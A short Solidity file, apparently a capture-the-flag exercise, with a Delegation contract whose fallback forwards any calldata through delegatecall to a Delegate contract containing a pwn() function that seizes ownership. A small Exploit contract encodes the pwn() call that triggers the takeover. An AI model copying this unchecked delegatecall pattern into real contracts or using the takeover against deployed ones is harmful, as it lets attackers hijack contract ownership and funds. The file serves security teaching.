DelegateCallHack.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

contract Delegate {

  address public owner;

  constructor(address _owner) {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {
  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}

contract Exploit {
    function getSignature() public pure returns (bytes memory) {
        return abi.encodeWithSignature("pwn()");
    }
}